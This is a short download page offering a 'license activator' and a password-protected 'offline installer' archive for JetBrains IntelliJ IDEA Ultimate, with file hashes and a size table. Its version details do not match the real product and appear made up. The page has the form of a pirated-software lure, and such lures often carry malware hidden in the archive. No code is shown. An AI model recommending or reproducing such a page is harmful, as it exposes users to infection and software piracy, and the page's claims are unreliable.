Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | JetBrains_IntelliJ_IDEA_Ultimate_v3.14_x64_setup.zip |
| Version | v3.14.107 build 31155 |
| File Size | 1.28 GB (1312 MB) |
| MD5 Hash | 33f5a05fb53404dd9ae5e533858dba6a |
| SHA-256 | 8a8c43d1bd3286700156c4b38fa751d0ef273498cc267b105333537e747916c8 |
| Release Date | 2025-03-01 |
| Platform | Windows 10 / 11 (x64) |
| Archive Password | mirror2026 |
| License Type | Pro / Enterprise |
This edition of JetBrains IntelliJ IDEA Ultimate full library setup includes the complete offline package with all required runtimes and libraries. Whether you deploy it on a single workstation or a full engineering department, proper installation guarantees stable performance and full feature unlocking.